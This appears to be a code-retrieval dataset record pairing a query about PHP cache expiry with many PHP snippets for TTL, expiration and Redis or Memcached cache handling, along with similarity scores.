cacheExpire($newCacheExpire = null);", "public function expire ($key)\n {\n $info = apc_cache_info('user');\n\n if (!$info['cache_list']) {\n return false;\n }\n\n foreach ($info['cache_list'] as $entry) {\n if ($entry['info'] !== $key) {\n continue;\n }\n\n if ($entry['ttl'] == 0) {\n return 0;\n }\n\n return $entry['creation_time'] + $entry['ttl'];\n }\n\n return false;\n }", "public function clean_expired_keys($ttl)\n {\n }", "function get_ttl() {\n $dayofweek = (int) date('w', strtotime('now')); \n // use 1 for monday, 7 for sunday\n if($dayofweek == 0) {\n $dayofweek = 7;\n }\n // assign TTL based on current day (17 backups)\n $ttl_map = [\n 1 => 7, // one week\n 2 => 7, // one week\n 3 => 7, // one week\n 4 => 7, // one week\n 5 => 7, // one week\n 6 => 28, // four weeks\n 7 => 56 // two months \n ];\n \n return $ttl_map[$dayofweek];\n}", "function get_ttl() {\n $dayofweek = (int) date('w', strtotime('now')); \n // use 1 for monday, 7 for sunday\n if($dayofweek == 0) {\n $dayofweek = 7;\n }\n // assign TTL based on current day (17 backups)\n $ttl_map = [\n 1 => 7, // one week\n 2 => 7, // one week\n 3 => 7, // one week\n 4 => 7, // one week\n 5 => 7, // one week\n 6 => 28, // four weeks\n 7 => 56 // two months \n ];\n \n return $ttl_map[$dayofweek];\n}", "function test_expires_in()\n {\n # Only Memcache & Redis support expires_in.\n if (get_class($this) == 'Test_ActiveSupport_Cache_MemcacheStore'\n or get_class($this) == 'Test_ActiveSupport_Cache_RedisStore')\n {\n # caching second var (with ttl)\n $this->cache->write('other_var', '23', array('expires_in' => 2));\n $this->assert_equal($this->cache->read('other_var'), '23');\n sleep(3);\n $this->assert_false($this->cache->read('other_var'));\n $this->assert_equal($this->cache->read('var'), 'value');\n }\n }", "function cache() {\n\n if ( func_num_args() == 0 ) {\n return $this->expireTime;\n } elseif ( func_num_args() == 1 ) {\n if ( is_bool(($arg = func_get_arg(0))) ) {\n if ( $arg ) {\n $this->expireTime = 3600;\n } else {\n $this->expireTime = 0;\n }\n } elseif ( is_numeric($arg) ) {\n $this->expireTime = $arg;\n } else {\n return isset($this->cache_expires[$arg])?$this->cache_expires[$arg]:0;\n }\n } elseif ( func_num_args() == 2 ) {\n if ( is_numeric(($arg=func_get_arg(1))) ) {\n $this->cache_expires[func_get_arg(0)] = $arg;\n } elseif ( is_bool($arg) ) {\n if ( $arg ) {\n $this->cache_expires[func_get_arg(0)] = 3600;\n } else {\n $this->cache_expires[func_get_arg(0)] = 0;\n }\n }\n }\n }", "protected function getTTL()\n {\n return Cache::getDefaultCacheTime();\n }", "public function ttl($key=null){\n\n //get remaining time\n if($key!==null){\n return $this->client->ttl($key);\n }\n return null;\n\n }", "public function expire();", "public function ttl($key, $default = null)\n {\n return $this->config('ttl.' . $key, $default);\n }", "protected function expire_time($ttl)\r\n\t{\r\n\t\tif ($ttl === null) {\r\n\t\t\t$ttl = $this->default_timeout;\r\n\t\t}\r\n\t\treturn (int)(time() + $ttl + 1);\r\n\t}", "public function _setExpire($key)\n\t{\n\t\t$lifetime\t= $this->max_lifetime;\n\t\t$expire\t\t= $this->_db->get($key.'_expire');\n\n\t\t// set prune period\n\t\tif ($expire + $lifetime < time()) {\n\t\t\t$this->_db->delete($key);\n\t\t\t$this->_db->delete($key.'_expire');\n\t\t} else {\n\t\t\t$this->_db->set($key.'_expire', time(),0);\n\t\t}\n\t}", "static protected function _ttl($ttl){\n\t\tif( is_int($ttl) || preg_match('!^\\d+$!',$ttl))\n\t\t\treturn (int) $ttl;\n\t\tif(! is_string($ttl))\n\t\t\tfalse;\n\t\treturn strtotime($ttl) - time();\n\t}", "abstract public function set($key, $value, $ttl);", "public function expire($key, $ttl)\n {\n $filename = $this->_path.date('Y-m-d').'.'.$ttl;\n $mod = $this->getFileMod($key);\n $val = $mod.DIRECTORY_SEPARATOR.$key.PHP_EOL;\n TL_FSO::createFile($filename, $val, 'ab+');\n }", "public function getTTL()\r\n {\r\n $date = new DateTime();\r\n $date->setTimezone(new DateTimeZone('GMT'));\r\n $ttl = strtotime($this->getExpires())-$date->getTimestamp();\r\n\r\n return $ttl;\r\n }", "public function set($key, $value, $ttl=0);", "protected function ttl($expire)\n {\n if ($expire === 0) {\n return null;\n }\n // relative time in seconds, <30 days\n if ($expire > 30 * 24 * 60 * 60) {\n return $expire - time();\n }\n return $expire;\n }", "public function setDefaultLifetime($ttl) {\n\t\t$this->defaultLifetime = $ttl;\n\t}", "public function getExpiration();", "protected function expirationTime()\n {\n $ttl = $this->getOptions()->getTtl();\n if ($ttl > 2592000) {\n return time() + $ttl;\n }\n return $ttl;\n }", "public function getCacheLifetime(): int;", "function store($key, $data, $TTL = 0);", "public static function set($key,$val,$expire);", "public function expiresAt();", "public function expiresAt();", "function calcTTL($res_cache, $res_expires, $res_last)\n {\n if (str_contains($res_cache, 'max-age'))\n {\n $TTL = (preg_replace( '/[^0-9]+/', '', $res_cache)) / 31556952 ;\n if (str_contains($res_cache, 'stale'))\n {\n $res_cache = substr( $res_cache, 0, strpos($res_cache, \"stale\"));\n $TTL = (preg_replace( '/[^0-9]+/', '', $res_cache) )/ 31556952;\n }\n }\n elseif ( $res_expires!= strtotime('0') && $res_last != strtotime('0') && $res_expires>$res_last)\n {\n $TTL = ($res_expires - $res_last) / 31556952;\n }\n return $TTL;\n }", "public function expires($key) {\n return parent::expires($this->key($key));\n }", "public function renew(string $key, int $ttl = self::DEFAULT_TTL): bool\n {\n return false;\n }", "protected function getCacheLifetime(): ?int\n {\n return 86400;\n }", "public function getCacheLifetime()\n {\n return self::DEFAULT_CACHE_LIFETIME;\n }", "public function set($key, $ttl, $data)\r\r\n\t{\r\r\n\t\t$this->set_count++;\r\r\n\r\r\n\t\tif ($ttl != CPF_CACHE_TIME_NEVER)\r\r\n\t\t{\r\r\n\t\t\t$this->_storage->set($key, $ttl, $data);\r\r\n\t\t}\r\r\n\t\telse\r\r\n\t\t{\r\r\n\t\t\t$this->_storage->remove($key);\r\r\n\t\t}\r\r\n\t}", "public function setTtl($ttl = 60)\n {\n $this->ttl = $ttl;\n }", "public function getCacheMaxAge() {\n return 0;\n }", "function expire_token() {\n return time() + (60 * 60 * 24);\n}", "public function expiryDate();", "public function set($key, $data, $ttl = 0);", "public function set($key, $data, $ttl = 0);", "public function setExpire($var)\n {\n GPBUtil::checkString($var, True);\n $this->expire = $var;\n\n return $this;\n }", "public function setTtl($ttl)\n {\n $this->ttl = $ttl;\n }", "public function setTtl($ttl)\n {\n $this->ttl = $ttl;\n }", "public function incrementExpiresAt();", "public function add($key, $data, $ttl = 0);", "public function add($key, $data, $ttl = 0);", "public function getCacheTTL()\n {\n return $this->CacheTTL;\n }", "public function cacheFor()\n {\n return now()->addMinutes(2);\n }", "private function __session_key_expirey_limit() {\n return time() - 60;\n }", "public function getCacheExp();", "public function setTtl(int $ttl)\n {\n $this->ttl = $ttl;\n }", "public function expire(string $key, int $ttl): bool\n {\n return $this->redis->expire($key, $ttl);\n }", "public function touch($key, $expiry) {}", "public function cacheLifetime()\n {\n return config('personality-insights.cache_expiration');\n }", "public function getTtl(): int\n {\n return $this->ttl;\n }", "public function getExpiration()\n {\n }", "public function ttl(string $key): int\n {\n return $this->redis->ttl($key);\n }", "static public function get_cache_ttl() {\n\t\treturn (int) get_option( 'azure_browse_cache_results', 15 );\n\t}", "public function getExpiration()\n {\n // expire now\n return new \\DateTime();\n }", "public function pexpire(string $key, int $ttl): bool\n {\n return $this->redis->pexpire($key, $ttl);\n }", "public function setCacheTtl($ttl)\n {\n $this->cacheTtl = intval($ttl);\n return $this;\n }", "protected function ttl(int $expire): int|null\n {\n if ($expire === 0) {\n return null;\n }\n\n // relative time in seconds, <30 days\n if ($expire < 30 * 24 * 60 * 60) {\n return $expire;\n }\n\n return $expire - time();\n }", "public function setCacheTimeToLive($ttl = 0) {\n $this->cacheTtl = $ttl;\n $this->temporaryCacheTtl = $ttl;\n return $this;\n }", "public function put(string $key, string $secret, DateTimeInterface|string|null $ttl = null): void\n {\n if (is_string($ttl)) {\n $ttl = Carbon::parse($ttl);\n }\n\n $this->cache->put($key, $secret, $ttl);\n }", "function put($key, $val, $ttl = 0) {\n // TODO throw an exception?\n }", "public function setTtl(int $ttl): void\n {\n $this->ttl = $ttl;\n }", "private static function get_db_expires(int $delta) {\n\t\treturn self::$ctrl::$admin::$store->time() + $delta;\n\t}", "public function expires($time = 3600){\n\n\t\tif(!is_numeric($time)){\n\t\t\tthrow new Exception('Invalid cache expiration.');\n\t\t}\n\t\t$key = ($this->cache_key . (!is_null($this->custom_key) ? '-' . $this->custom_key : ''));\n\t\t$this->redis_client->set($key, $this->cache_data);\n\t\t$this->redis_client->expire($key, $time);\n\t\t$this->redis_client->ttl($key);\n\n\t}", "public function getTtl()\n {\n return $this->ttl;\n }", "public static function expireCacheEntry(array $options) {\n $options['caching'] = 'expire';\n // With caching set to expire, get_population_data doesn't actually do the\n // service request.\n self::get_population_data($options);\n }", "public function __construct($defaultTimeToLive = CacheInterface::MAX_TTL)\n {\n $this->setDefaultTTL($defaultTimeToLive);\n $this->cache = [];\n }", "public function getTtl($key){\n return $this->getAdapter()->ttl($this->_keyFromId($key));\n }", "public function getExpiresIn();", "public function getDefaultTtl()\n {\n return isset($this->default_ttl) ? $this->default_ttl : 0;\n }", "final public function cache($time = false) {\n\t\t\t$this->cache_ttl = $time;\n\t\t\treturn $this;\n\t\t}", "public function cacheFor()\n {\n return now()->addMinutes(1440);\n }", "function invalidate($tp) {\n $mem = new Memcached();\n $mem->setOption(Memcached::OPT_BINARY_PROTOCOL, TRUE);\n $mem->addServer('127.0.0.1',11211);\n $mem->increment($tp, 1, time());\n}", "private function __construct(){\r\n $this->ttl_by_type = array(\r\n 'short' => 300 , // 5 minutes\r\n 'default' => 7200, // 2 hours\r\n 'halfday' => 43200, // 12 hours\r\n 'day' => 86400, // 24 hours\r\n 'week' => 604800, // 7 days\r\n 'month' => 2592000, // 30 days (1 month)\r\n 'longterm' => 15811200 // 183 days (6 months)\r\n );\r\n }", "public function expireAt(string $key, int $ttl): bool\n {\n return $this->redis->expireAt($key, $ttl);\n }", "public function getTTL()\n {\n if (is_null($this->expiration)) {\n return null;\n }\n $current = time();\n\n if ($this->expiration > $current) {\n return $this->expiration - $current;\n }\n return 0;\n }", "protected function get_link_ttl()\n {\n }", "public function saveToCache(string $key = null, $ttl = 60): bool\n {\n return $this->defaultCache()->put($key ?? $this->defaultCacheKey(), $this->toCache(), $ttl);\n }", "public function getTtl(): int\n {\n return 10;\n }", "public function store($key = '', $data = '', $ttl = 0)\n\t{\n\t\treturn false;\n\t}", "function cache_set( $key, $value, $ttl = null ) {\n\n\t\tif ( $ttl == null ) {\n\t\t\t$ttl = ( isset( $this->db->ttl) ) ? $this->db->ttl : $this->ttl;\n\t\t}\n\n\t\t$key = 'db_api_' . $key;\n\n\t\tif ( extension_loaded('apc') && (ini_get('apc.enabled') == 1) ) {\n\t\t\treturn apc_store( $key, $value, $ttl );\n\t\t}\n\n\t\t$this->cache[$key] = $value;\n\n\n\t}", "function xl_set_expiration($id, $timestamp) {\n\n\t$date = date('m/d/Y', $timestamp);\n\n $formatted_date = DateTime::createFromFormat('m/d/Y', $date);\n\n $month = intval($formatted_date->format('m'));\n $day = intval($formatted_date->format('d'));\n $year = intval($formatted_date->format('y'));\n\n //Manually set post to expire at the end of the day.\n $hour = 23;\n $minute = 59;\n\n $ts = get_gmt_from_date(\"$year-$month-$day $hour:$minute:0\",'U');\n\n $opts = array(\n 'expireType' => 'delete',\n 'id' => $id\n );\n\n _scheduleExpiratorEvent($id, $ts, $opts);\n}", "public function pexpireAt(string $key, int $ttl): bool\n {\n return $this->redis->pexpireAt($key, $ttl);\n }", "public function getExpire(): int\r\n {\r\n return $this->expire;\r\n }", "public function saveToCacheForever();", "public function ttl(): int\n {\n return $this->ttl;\n }", "public function cacheFor()\n {\n // return now()->addMinutes(5);\n }", "public function getExpire()\r\n {\r\n return $this->expire;\r\n }", "public function set($key, $value, $ttl = false)\n {\n /* Cache gets a microtime expiry date. */\n $this->cache[$key] = array(\n $ttl ? ((int)$ttl + microtime(true)) : false,\n $value\n );\n return true;\n }" ]
[ "0.7284101", "0.7215825", "0.7189902", "0.6999857", "0.6846252", "0.6812919", "0.6761201", "0.67457503", "0.6711632", "0.66961515", "0.66901773", "0.6679194", "0.6643621", "0.6643621", "0.6559084", "0.65063065", "0.6488953", "0.645337", "0.64463586", "0.6385956", "0.6352251", "0.63178873", "0.62992793", "0.6293446", "0.62836987", "0.62831795", "0.6245744", "0.62418985", "0.6198668", "0.61976606", "0.61962223", "0.6189188", "0.6172799", "0.61398524", "0.61028564", "0.61028564", "0.60859907", "0.6084446", "0.60822046", "0.60623103", "0.6041655", "0.60255027", "0.6013106", "0.6008793", "0.5997575", "0.5994949", "0.59801066", "0.59801066", "0.5973825", "0.59561056", "0.59561056", "0.5952234", "0.5937012", "0.5937012", "0.5933094", "0.59202117", "0.5916174", "0.5913945", "0.5907538", "0.5899172", "0.58861744", "0.5881958", "0.5879291", "0.5876853", "0.58727515", "0.5867923", "0.5844937", "0.58328366", "0.5831761", "0.5825752", "0.5824478", "0.58199984", "0.5816295", "0.5809794", "0.58064693", "0.5802506", "0.57967204", "0.5789817", "0.57863265", "0.5769999", "0.57667506", "0.5764103", "0.57636636", "0.5754008", "0.5753011", "0.57506365", "0.5748926", "0.57459474", "0.57351744", "0.57318485", "0.5730606", "0.5728829", "0.57266045", "0.5722589", "0.5710607", "0.5701821", "0.5694647", "0.56945574", "0.5690389", "0.56886643", "0.56876206" ]
0.0
-1
Incr does not work then we need to fetch, perhaps just verions issues so i just replace with simple set.
public function increment($var,$version) { $this->redis->set($var,$version); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function init(): Set;", "public function testBasics() {\n\t\t$redis = $this->getConnection();\n\t\t$set = new ARedisSortedSet(\"TestSet:\".uniqid(),$redis);\n\t\t$this->assertTrue($set->add(\"oranges\", 2.40));\n\t\t$this->assertTrue($set->add(\"apples\", 1.40));\n\t\t$this->assertTrue($set->add(\"strawberries\", 3));\n\t\t$this->assertEquals(3, $set->getCount());\n\t\t$this->assertTrue($set->add(\"carrots\",0.4));\n\t\t$this->assertEquals(4, $set->getCount());\n\t\t$this->assertTrue($set->remove(\"carrots\"));\n\t\t$this->assertFalse($set->remove(\"carrots\"));\n\t\t$this->assertEquals(3, $set->getCount());\n\t\t$set->clear();\n\t\t$this->assertEquals(0, $set->getCount());\n\t}", "public function testUpdatePermissionSet()\n {\n }", "public function getReconstitutedEntities() {}", "protected function _createCidSet() {}", "abstract protected function getEntitiesToSync();", "public function testFindManyUsesCachedFalse()\n {\n $this->cache->forever($this->getModelNameString().':1', false);\n\n $result = $this->repository->findMany([1, 2, 500]);\n\n $actual = array_map(\n function ($result) {\n return $result->id;\n },\n $result->all()\n );\n sort($actual);\n\n $this->assertSame([2], $actual);\n }", "public function getChallengesByActivity(){\n $query = '\n SELECT tc.id\n FROM `hotornot-dev`.tblChallenges as tc\n JOIN `hotornot-dev`.tblChallengeVotes as tcv\n ON tc.id = tcv.challenge_id\n WHERE is_verify != 1\n LIMIT 100\n ';\n $stmt = $this->prepareAndExecute( $query );\n $ids = $stmt->fetchAll( PDO::FETCH_OBJ );\n foreach( $ids as &$id ){\n $id = $id->id;\n }\n $ids = array_unique($ids);\n return $ids;\n\n }", "public function getVersions(): Collection;", "public function testFetchAllByIds()\n {\n $file = new File;\n $file->setFilespec(\"//depot/file\")\n ->add()\n ->setLocalContents(\"one\")\n ->submit(\"test\");\n $file->edit()\n ->setLocalContents(\"two\")\n ->submit(\"test2\");\n $file->edit()\n ->setLocalContents(\"three\")\n ->submit(\"test3\");\n\n $changes = Change::fetchAll(array(Change::FETCH_BY_IDS => array('1', '3')));\n\n $this->assertSame(\n array(1, 3),\n $changes->invoke('getId'),\n 'expected matching result'\n );\n }", "private function init_set() {\n\t\t$this->_set = array();\n\t\tfor($i=0; $i < $this->_max-$this->_min + 1; $i++) {\n\t\t\t$this->_set[$i] = $this->_min + $i;\n\t\t}\n\t}", "public function test_findAggregation() {\n $data = $this->SampleSet->find('all', ['conditions' => ['set_code LIKE' => 'tn%']]);\n // One confidential and one old version have being filtered\n $this->assertEquals(1, count($data));\n $this->SampleSet->username = 'sub2';\n $data = $this->SampleSet->find('all', ['conditions' => ['set_code LIKE' => 'tn%']]);\n // The confidential one has nolonger being filtered\n $this->assertEquals(2, count($data));\n }", "function __clear_multi_author_cache()\n {\n }", "public function forUpdate($set = TRUE);", "public function initInappropriates()\n\t{\n\t\t$this->collInappropriates = array();\n\t}", "public function getIdentities()\n\t{\n\t\treturn [\\Magento\\Catalog\\Model\\Product::CACHE_TAG];\n\t}", "public function test_findConfidential() {\n $data = $this->SampleSet->find('all', ['conditions' => ['id' => 2]]);\n $this->assertEquals(0, count($data));\n $this->SampleSet->username = 'sub2';\n $data = $this->SampleSet->find('all', ['conditions' => ['id' => 2]]);\n $this->assertEquals(1, count($data));\n $this->assertEquals(2, $data[0]['SampleSet']['id']);\n $this->SampleSet->username = 'chem2';\n $data = $this->SampleSet->find('all', ['conditions' => ['id' => 2]]);\n $this->assertEquals(1, count($data));\n $this->assertEquals(2, $data[0]['SampleSet']['id']);\n }", "protected function fetchFlagsAdditive() {\n return null;\n }", "public function calculateChangeSet()\n {\n $set = [];\n foreach ($this->current as $key => $current) {\n $original = isset($this->original[$key]) ? $this->original[$key] : null;\n $set[$key]['old'] = $original;\n $set[$key]['new'] = $current;\n }\n foreach ($this->remove as $key) {\n $set[$key]['old'] = $this->original[$key];\n $set[$key]['new'] = null;\n }\n ksort($set);\n return $set;\n }", "public function fetchUpdates()\n\t{\n\t}", "public function tail(): Set;", "function get_transaction_result_set($agent_id){\n $user=new Policy();\n $transaction_result_set=$user->read_selective_transaction(\"WHERE agent_id=\".$agent_id);\n return $transaction_result_set; \n }", "function setTradeSet($t , $id){\r\n\t$table = new Table();\r\n\tif( ! $table->get($t) ){echo \"e1\";return;}\r\n\tif( !isset($_REQUEST[\"cards\"]) ){echo \"e2\";return;}\r\n\t$c = $_REQUEST['cards'];\r\n\t$arr = explode(',' , $c );\r\n\tif( sizeof($arr) < 3 ){echo \"e3\";return;}\r\n\t$cards = $table->getPlayerCards($id);\t\r\n\tfor($i=0;$i<3;$i++){\r\n\t\tif( !in_array( $arr[$i],$cards ) ){echo \"e4&Wrong Cards\";return;}\r\n\t}\r\n\t$r = explode(\"|\",$table->data(\"tradesets\"));\r\n\t$r = $r[0].\"|\".$r[1].\"|\".$r[2].\"|\".$r[3];\r\n\t$r = explode(\"|\",$r);\r\n\tif($r[$id] != \"\" ){if( $r[$id] == $c ){exit(\"0\");}else{echo \"e5&Already Set\";return;}}\r\n\t$r[$id] = $c;\r\n\t$res = implode( '|' , $r );\r\n\t$table->set(\"tradesets\", $res);\r\n\t$table->set(\"trades\",$table->data(\"trades\")+1);\r\n\t$table->update();\r\n\tif( $table->data(\"trades\") == 4 ){\r\n\t\t$table->performTrades();\r\n\t\t$table->update();\r\n\t\t$table->set(\"state\",2);\r\n\t\t$table->update();\r\n\t}\r\n\techo \"0\";\r\n}", "public function updateStatusProposal()\n { \n $now = Mage::getSingleton('core/date')->gmtDate(\"Y-m-d\"); \n $collection = Mage::getModel('qquoteadv/qqadvcustomer')->getCollection();\n $collection->addFieldToFilter('status', Ophirah_Qquoteadv_Model_Status::STATUS_PROPOSAL);\n $collection->getSelect()->where('expiry < \\''.$now.'\\' AND no_expiry = \\'0\\'');\n $collection->load(); \n\n foreach ($collection as $item) { \n $item->setStatus(Ophirah_Qquoteadv_Model_Status::STATUS_PROPOSAL_EXPIRED);\n $item->save(); \n }\n }", "public function testGetSubIdsById()\n {\n\n $this->assertSame(0, count($this->repository->getSubIdsById(10, true)));\n\n $this->repository->skipCache(true);\n\n $category_id_1 = $this->repository->getSubIdsById(1);\n\n $this->assertSame(8, count($category_id_1));\n\n $this->assertSame(2, $category_id_1[1]);\n\n $category_id_1 = $this->repository->getSubIdsById(1, true);\n\n $this->assertSame(7, count($category_id_1));\n\n $this->assertSame(3, $category_id_1[1]);\n\n\n }", "public function entities(): Collection;", "function seekPageInRecSet()\n\t{\n\t\t\n\t\t$this->resultData = $this->plugin->getGroupList( $this->searchClauseObj->getAllFieldsSearchValue() );\n\t\t$this->numRowsFromSQL = $this->resultData ? count( $this->resultData ) : 0;\n\t\t$this->recSet = $this->numRowsFromSQL;\n\t}", "public function clearInappropriates()\n\t{\n\t\t$this->collInappropriates = null; // important to set this to NULL since that means it is uninitialized\n\t}", "protected function fetchVersionMatrixFromRemote() {}", "public function getIDsforSet($set)\n\t{\n\t if ($set instanceof _set)\n\t {\n\t\t$ids = array();\n\t\t$query = false;\n\t\t$sname = $set->name;\n\t\t$split_spec = explode(':', $set->spec, 2);\n\t\tif (count($split_spec) < 2)\n\t\t{\n\t\t throw new Oai_BadArgument_Exceptions(\"malformed set spec '$set->spec'\");\n\t\t}\n\t\t$prefix = $split_spec[0];\n\t\t$spec = $split_spec[1];\n\t\tswitch($set->source)\n\t\t{\n\t\tcase 'datasource':\n\t\t\t$query = $this->db->distinct()->select(\"registry_objects.registry_object_id\")\n\t\t\t\t->join(\"data_sources\",\n\t\t\t\t \"data_sources.data_source_id = registry_objects.data_source_id\",\n\t\t\t\t \"inner\")\n\t\t\t\t->get_where(\"registry_objects\",\n\t\t\t\t\t array(\"data_sources.slug\" => $spec));\n\t\t\tbreak;\n\t\tcase 'group':\n $query = $this->db->distinct()->select(\"registry_objects.registry_object_id\")\n ->get_where(\"registry_objects\",\n array(\"group\" => str_replace(\"0x20\",\" \",$sname)));\n\t\t\tbreak;\n\t\tcase 'class':\n\t\t\t$query = $this->db->distinct()->select(\"registry_objects.registry_object_id\")\n\t\t\t\t->get_where(\"registry_objects\",\n\t\t\t\t\t array(\"class\" => $sname));\n\t\t break;\n\t\tdefault:\n\t\t //this should never really happen, but just in case\n\t\t return array();\n\t\t break;\n\t\t}\n\t\t$ids = array_map(create_function('$e', 'return $e[\"registry_object_id\"];'),\n\t\t\t\t\t\t $query->result_array());\n\t\t$query->free_result();\n\t\treturn $ids;\n\t }\n\t else\n\t {\n\t\treturn array();\n\t }\n\t}", "function esiUpdateApicorps() {\n $table = db_asocquery(\"DESCRIBE `apicorps`;\");\n $found = FALSE;\n foreach ($table as $column) {\n if ($column['Field']=='tokenID' && $column['Type']=='int(11)') {\n $found = TRUE;\n }\n } \n if ($found === FALSE) {\n return db_uquery(\"ALTER TABLE `apicorps` ADD COLUMN `tokenID` int(11) NULL DEFAULT NULL;\") &&\n db_uquery(\"ALTER TABLE `apicorps` CHANGE COLUMN `keyID` `keyID` VARCHAR(255) NULL DEFAULT NULL;\");\n }\n return TRUE;\n}", "function updateShares(array $add, array $remove);", "private function approvedByRole()\n {\n $pending = \\ApprovalSequence\\Models\\Entity::Where('entity_id', $this[$this->primaryKey])->get();\n $approvers = $pending->map(function ($item) {\n return $item->approver->role_id;\n });\n //to avoid duplication\n return $approvers->unique();\n }", "public function testResolveContentToUpdateCollectionItemsWithoutDuplicatesFromCache(): void\n {\n /** @var \\PostmanGenerator\\CollectionGenerator $generator1 */\n [$generator1] = $this->getRestaurantCollection();\n $generator1->generate();\n\n /** @var \\PostmanGenerator\\CollectionGenerator $generator2 */\n [$generator2] = $this->getRestaurantCollection();\n $generator2->add('Restaurant');\n $generator2->add('Restaurant');\n $generator2->add('Managers');\n $generator2->generate();\n\n $items = $generator2->getCollection()->getItem();\n\n self::assertCount(2, $items);\n self::assertEquals('Restaurant', $items[0]->toArray()['name']);\n self::assertEquals('Managers', $items[1]->toArray()['name']);\n\n $generator2->generate();\n }", "function _get_non_cached_ids($object_ids, $cache_group)\n {\n }", "public function getMutationsList(){\n return $this->_get(2);\n }", "public function setAllUncostedAudits() {\n\t\t$uncosted_audits = $this->getAllUncostedAudits();\n\t\t\n\t\tforeach($uncosted_audits as $uncosted_audit) {\n\t\t\t$this->setAuditCost($uncosted_audit->audit_id);\n\t\t}\n\t\t\n\t\treturn;\n\t}", "public function getCachedStatusesAttribute(): Collection\n {\n return Cache::remember($this->cacheKey().':statuses', 10, function () {\n return $this->statuses()->latest()->get();\n });\n }", "function _prime_site_caches($ids, $update_meta_cache = \\true)\n {\n }", "function ipts_recount() {\n\tcpdb_fetch_all(\"select debata_ID from debata\", array(), $debaty);\n\tforeach ($debaty as $debata) {\n\t\tiptsr_internal_deb($debata[\"debata_ID\"]);\n\t}\n}", "public function modifyCommonId(){\n ini_set('memory_limit', '1024M');\n\n $num = 100;\n\n\n DB::table('commons')->orderBy('id')->chunkById($num, function ($queries) use($num) {\n foreach ($queries as $key => $query) {\n\n DB::table('commons')->where('id', $query->id)->update(['id' => $this->add + $key + 1]);\n if(fmod($key,100) == 99 ){\n $this->add = $this->add + 100;\n }\n }\n });\n }", "public function testGetFinancialStatementAllUsingGet()\n {\n }", "public function willGenerateSet(): bool;", "public function getTrueMutationsList(){\n return $this->_get(4);\n }", "public function getAllIncReslt() {\n $inc = IncidenceModel::where('id_estado', 6)->get();\n\n return $inc;\n }", "function sincCxP(){\n $data=array();\n $this->query=\"SELECT ('T'||trim(cve_prov)) as cve_prov, p.* from paga_m03 p where ref_sist is null\";\n $res=$this->EjecutaQuerySimple();\n while ($tsarray=ibase_fetch_object($res)){\n $data[]=$tsarray;\n }\n $this->query=\"UPDATE paga_m03 set ref_sist = 'T'\";\n $this->EjecutaQuerySimple();\n return $data;\n }", "public function testModEagerFetch()\n {\n $this->todo('stub');\n }", "public function getIds()\n {\n\n }", "public function resetRequestIds()\n {\n foreach ($this->options as $op => $junk) {\n if (preg_match('#ReportRequestIdList#', $op)) {\n unset($this->options[$op]);\n }\n }\n }", "function get_removed_status() {\n\n\techo \"Verifying status ads (is removed or no) \\r\\n\";\n\t //check only ads, which have status publish\n\t$sql = \"SELECT count(id) cnt from cian_general_data where ad_remove is null\";\n\t$result = mysqli_query($GLOBALS['connect'],$sql); \n\t$cnt = mysqli_fetch_assoc($result)['cnt'];\n\n\t$OFFSET = 0; $index = 1;\n\n\twhile ($OFFSET <= $cnt) {\n\t\t$sql = \"SELECT id from cian_general_data where ad_remove is null LIMIT 50 OFFSET {$OFFSET}\";\n\t\t$result = mysqli_query($GLOBALS['connect'],$sql); \n\n\t\twhile ($array = mysqli_fetch_assoc($result)) {\n\t\t\t//sleep(1); //на всякий\n\t \n\t echo \"{$index} - checking remove status ad: {$array['id']} \\r\\n\";\n\n\t // if (info_ad($array['id'], $GLOBALS['endpoints']['page']) == null) {\n\t // \t//ads has been removed. change status\n\t // \techo \"found unactive ad: {$array['id']} \\r\\n\";\n\t // \t$sql = \"update cian_general_data set ad_remove=curdate() WHERE id={$array['id']}\";\n\t // \t$result = mysqli_query($GLOBALS['connect'],$sql); \n\t // }\n\t // else {\n\t // \techo \"ad: {$array['id']} is active\\r\\n\";\n\t // }\n\n\t $index++;\n\n\n\t }\n\n\t $OFFSET += 50;\n\t}\n\t\t\n\n}", "public function testQuarantineUpdateAll()\n {\n\n }", "private function getCmdSetCandidates(ServiceContract $contract, User $user) {\n $cmdsetCandidates = array();\n\n $lTeamList = $user->getLeadedTeamList();\n $managedTeamList = $user->getManagedTeamList();\n $mTeamList = $user->getDevTeamList();\n $teamList = $mTeamList + $lTeamList + $managedTeamList;\n\n $contractCmdSets = $contract->getCommandSets(CommandSet::type_general);\n\n foreach ($teamList as $teamid => $name) {\n $team = TeamCache::getInstance()->getTeam($teamid);\n $commandsetList = $team->getCommandSetList();\n\n foreach ($commandsetList as $cid => $cmdset) {\n // remove CmdSets already in this contract.\n if (!array_key_exists($cid, $contractCmdSets)) {\n $cmdsetCandidates[$cid] = $cmdset->getName();\n }\n }\n }\n asort($cmdsetCandidates);\n\n return $cmdsetCandidates;\n }", "public function cacheAll()\n {\n $data = $this->resource->get()->wait();\n\n $this->client->pipeline(function ($pipe) use ($data) {\n foreach ( $data->result->result as $k => $v ) {\n $pipe->set($this->keyPrefix . $v->id, serialize($v));\n }\n });\n\n return;\n }", "function cicleinscription_get_vacancies_remaning(){\n\t\n}", "public function automateupdateimitsflags() {\n if ($this->Auth->user(\"role\")['id'] != 1) {\n return null;\n }\n //Grab injections after Sept 19\n // $injs_to_update = $this->Injections->find('All')->where(['created >' => '2017-09-18'])->toArray();\n\n // Grab injections after CR10000 (inj id = 7743)\n $injs_to_update = $this->Injections->find('All')\n ->contain([\n 'Users', 'Projects'=>['ProjectTypes', 'Mutations', 'Phenotypes', 'MgiGenesDump'], 'EmbryoTransfers', 'Colonies', 'EmbryoTransfers.Recipients'\n ])->where(['Injections.id >' => 7742])->toArray();\n echo '<pre>injs to iterate over:' . count( $injs_to_update ) . \"\\n\";\n $i = 0;\n foreach ($injs_to_update as $inj) {\n $this->Injections->updateNumberTransfered($inj['id']);\n /* Set the 'injections.do_imits_update' flag */\n if ($this->Injection->isImitsUpdateNeeded($inj['id'])) {\n\n echo $inj->id . \"\\t\" . $inj->colonies[0]->name . \"\\t\" . $inj->projects[0]->mgi_genes_dump[0]->marker_symbol;\n if (isset($inj->mi_attempt_id)) {\n echo \"\\t\" . $inj->mi_attempt_id;\n }\n echo \"\\n\";\n\n $this->Injection->setImitsUpdateFlag($inj['id']);\n } else {\n $this->Injection->clearImitsUpdateFlag($inj['id']);\n }\n\n $i++;\n\n // if ($i == 3) { exit; }\n }\n echo \"\\nIterated over: \".$i;\n exit;\n return null;\n }", "public function findSets() {\n $select = $this->getDatabase()\n ->select()\n ->from($this->getTableName());\n\n $data = $select->fetchAll();\n\n $result = array();\n foreach ($data as $item) {\n $item['id'] = 